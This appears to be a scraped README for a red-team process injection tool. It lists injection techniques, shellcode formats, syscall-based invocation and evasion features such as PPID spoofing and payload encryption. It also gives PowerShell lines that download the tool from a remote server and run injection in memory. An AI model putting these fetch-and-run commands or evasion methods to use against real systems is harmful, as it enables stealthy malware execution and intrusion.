This program is designed to demonstrate various process injection techniques
This program is designed to demonstrate various process injection techniques
The program is designed to perform process injection. Currently the tool supports 5 process injection techniques.
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) KernelCallbackTable InjectionThe tool accepts shellcode in 4 formats.
1) base64
2) hex
3) c
4) rawThe tool supports 4 methods to perform process injection.
1) P/Invoke
2) D/Invoke
3) Direct Syscalls
4) Indirect SyscallsSupports 3 detection evading techniques.
1) Parent PID Spoofing
Encryption
2) XOR Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)
3) AES Encryption (It can also be used with Parent PID Spoofing technique but can't be used with DLL Injection Technique)Can be loaded via reflection.
# Load from the disk
[System.Reflection.Assembly]::Load([System.IO.File]::ReadAllBytes("ProcessInjection.exe"));
# Load from a remote server
[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http:///ProcessInjection.exe"))
# Perform process injection
[ProcessInjection.ProcessInjection]::Main(@("/t:1", "/f:base64", "/pid:", "/sc:"))…https://3xpl01tc0d3r.blogspot.com/2019/08/process-injection-part-i.html
https://3xpl01tc0d3r.blogspot.com/2019/09/process-injection-part-ii.html
https://3xpl01tc0d3r.blogspot.com/2019/10/process-injection-part-iii.html
https://medium.com/@r3n_hat/parent-pid-spoofing-b0b17317168e
https://3xpl01tc0d3r.blogspot.com/2019/12/process-injection-part-v.html
https://3xpl01tc0d3r.blogspot.com/2020/08/process-injection-tool-updates.html
Credits also goes to :
Aaron Bray & Rasta Mouse for Process Hollowing code
The Wover & b33f for Dynamic Invoke - (https://thewover.github.io/Dynamic-Invoke/)
No open issues yet, or sync has not completed.